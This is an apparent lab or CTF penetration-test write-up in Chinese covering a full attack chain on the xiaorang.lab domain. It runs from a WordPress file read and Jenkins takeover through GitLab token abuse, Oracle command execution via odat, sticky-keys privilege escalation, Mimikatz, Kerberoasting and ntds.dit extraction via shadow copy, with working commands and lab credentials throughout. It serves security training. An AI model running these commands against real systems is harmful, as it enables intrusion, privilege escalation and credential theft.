外网打点
信息搜集
fscan扫描
发现80和8080端口存在着两个服务,先看下80
Wordpress建站,使用wpscan扫描一下
相关插件漏洞寻找过后,发现并没有RCE,所以换8080端口看看
尝试弱口令未果,搜索相关RCE漏洞,探测未授权访问不存在
接下来再对Wordpress站使用dirsearch进行扫描
漏洞探测
发现源码文件,下载下来后发现有数据库账密
尝试连接,不过失败了,应该是不允许非本机连接。
而后在tools/content-log.php
下发现了存在任意文件读取漏洞。
获取密码
根据题目描述我们获取到了Jekins根目录为C:\ProgramData\Jenkins\.jenkins
,然后我们这里搜索过后可以发现初始密码路径
因此我们这里读取C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword
即可
得到密码510235cf43f14e83b88a9f144199655b
既然是任意文件读取,也可以直接读flag了其实
访问8080端口尝试登录
获取权限
发现命令行接口
之前在实战中有尝试过写shell,然后去执行达到反弹shell的目的,因此这里也进行尝试,因为是Windows环境,没有wget,所以用curl -o。
不过这里发现并不能执行
没有python环境,所以只能作罢。
后来想起来Windows环境,当前用户还是system权限,可以直接添加管理员用户的,在这里添加管理员用户
net user qwq Qq123456. /add
net localgroup administrators qwq /add
而后RDP连接即可
内网横向
信息搜集
上线VIPER后使用fscan进行扫描
meterpreter > shell -c 'fscan64.exe -h 172.22.14.7/24'
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.7:139 open
172.22.14.46:135 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:8080 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo:
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] NetInfo:
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[*] NetInfo:
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] NetInfo:
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] NetBios: 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] NetBios: 172.22.14.31 WORKGROUP\XR-ORACLE
[*] WebTitle: http://172.22.14.7:8080 code:403 len:548 title:None
[*] NetBios: 172.22.14.46 XIAORANG\XR-0923
[*] WebTitle: http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] WebTitle: http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle: http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] http://172.22.14.7/www.zip poc-yaml-backup-file
代理搭建
攻击域成员一(Gitlab API Token泄露)
获取API Token
而后根据题目描述,我们去寻找设置的Gitlab API Token,在网页中可以找到
得到{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}
,但这明显是一个加密后的结果,我们需要对它进行解密,这里有两种方法
一是用网页的project
接口的gitlab测试功能,将url改成我们的VPS监听端口,然后可以收到PRIVATE-TOKEN
,这个后面的值就是真正的API-TOKEN
得到glpat-7kD_qLH2PiQv_ywB9hz2
二是我们可以使用命令行进行直接解密,具体指令如下
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
探测git仓库内容
在刚刚fscan扫描中我们可以看到
[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
因此172.22.14.16
这个就是Gitlab的部署站,仓库的通用接口是api/v4/projects/
,这里带上刚刚的token访问就可以,指令如下
proxychains curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects/" | jq | grep "http_url_to_repo"
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git
接下来将内容拖下来
发现一个存储大量用户名和密码的,可能待会需要爆破
在yml
文件中发现Oracle
数据库账密
Oracle 连接
尝试使用mdut连接
但连接过后无法使用(会报错),试了试Navicat也长时间无响应。只能换其他工具了,使用odat
进行连接,odat
支持执行命令,我们这里直接添加用户
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user qwq Qq123456. /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup Administrators qwq /add'
RDP连接
攻击域成员二(SeRestorePrivilege提权)
我们刚刚获取的大量用户名密码还没用,将数据提取出来
with open('credentials.txt', 'r') as file:
lines = file.readlines()
usernames = [line.split('|')[1].strip() for line in lines[2:]]
passwords = [line.split('|')[2].strip() for line in lines[2:]]
with open('user.txt', 'w') as user_file:
for username in usernames:
user_file.write(username + '\n')
with open('pwd.txt', 'w') as pwd_file:
for password in passwords:
pwd_file.write(password + '\n')
使用cme进行爆破
不过慢慢发现Fscan中有这么一条
[*] NetBios: 172.22.14.46 XIAORANG\XR-0923
正好凭据也有一条
XR-0923 | zhangshuai | wSbEajHzZs
所以其实不用爆破,直接RDP就可以了
信息搜集
查看当前所拥有权限
whoami /priv
是Remote Management Use
成员
可以参考https://forum.butian.net/share/2080
使用evil-winrm
连接此机器
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
可以发现再查看用户权限,发现多了一个SeRestorePrivilege
SeRestorePrivilege提权
参考https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8
可以了解到SeRestorePrivilege
授予对系统上所有对象的写访问权,而不管它们的ACL如何。
此时我们就可以通过三种方式达到滥用特权的目的
1、修改服务二进制文件
2、覆盖系统进程使用的DLL
3、修改注册表设置
这里尝试修改粘滞键为cmd,但是拒绝访问了
这里的话再尝试直接修改cmd名字为sethc
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe
而后锁定用户,在登录处shift 5次触发粘滞键
可以看到已经成功获取system权限,转发VIPER上线获取flag
攻击域控(卷影拷贝提取SAM)
首先添加个管理员用户,方便操作
接下来上传Mimikatz,进行密码抓取
呃,报错了,尝试在VIPER上使用msf模块进行票据搜集
也不行,可能是版本问题,试了很多版本
最终在2.2的某个版本成功执行,是这个应该(下载的太多了,不记得具体哪个了)
https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
信息搜集
使用Mimikatz获取密码
发现一个机器账户
Authentication Id : 0 ; 832440 (00000000:000cb3b8)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/1/24 10:40:31
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : b2caa4c3f6d5e97bf7c58f7db9e24317
* SHA1 : 00e3cf78689e875da3f43a5b62cc919990b52a6b
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : c8 9c 74 62 4b a5 13 60 f8 9f 61 ee 0c 9c b4 ca 97 d7 4c 53 6a 10 4e e7 74 03 51 0a 95 3f 78 af 15 22 5d 7f 0c 10 c9 96 19 7a bd 28 d7 c8 9a b7 ec 04 fb a9 18 83 30 e1 d9 75 aa ed c1 81 d0 76 c3 70 6c 68 35 e9 16 66 bd fe c7 92 78 59 be 9b 0b 65 91 10 8b 5b c4 8f 18 32 72 a6 cb bb c1 b0 96 0f 1d 63 bf 8f e8 4f 9b 7b 6a 7c 0a e8 2e 9a 40 d7 36 7d 2e 7a 0c 99 21 ca 64 27 b9 df 77 c6 f7 47 19 d7 bb 05 d6 4b ca e6 70 4b 62 5f 1c f8 78 b9 33 a2 f7 9e e5 77 78 db f9 cd b1 73 e9 b2 df 35 67 5e b0 12 85 ac 59 db 4c 53 8e 2d 6a d4 d3 93 f5 61 30 ee f5 53 d0 2a ae cf 50 83 92 31 ad 67 17 7a 21 58 dc 62 96 2f f2 1c 1e bc 05 1b 43 48 91 5d c1 06 1d 71 73 c0 fa 04 66 59 e9 35 04 a9 50 a5 79 70 06 7b ea 3a ea 0c 44 4c 01 63
ssp :
credman :
cloudap :
Kerberoasting攻击
proxychains GetUserSPNs.py xiaorang.lab/'XR-0923$' -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11
发现tianjing
用户,抓取一下hash
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11 -request-user tianjing
而后破解一下密码
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
得到
tianjing:DPQSXSXgh2
使用evil-winrm
登录,进行简单信息搜集
卷影拷贝
有备份以及还原文件和目录的权限,尝试导出sam和system。
首先在本地创建一个dsh文件,这里命名为raj.dsh
,内容如下
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
接下来再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距
unix2dos raj.dsh
接下来上传到靶机,我们在C:/
下随便创个目录,上传此文件
卷影拷贝
diskshadow /s raj.dsh
复制到当前目录
RoboCopy /b z:\windows\ntds . ntds.dit
下载sam和system
接下来进行解密
impacket-secretsdump -ntds ntds.dit -system system local
PTH拿下域控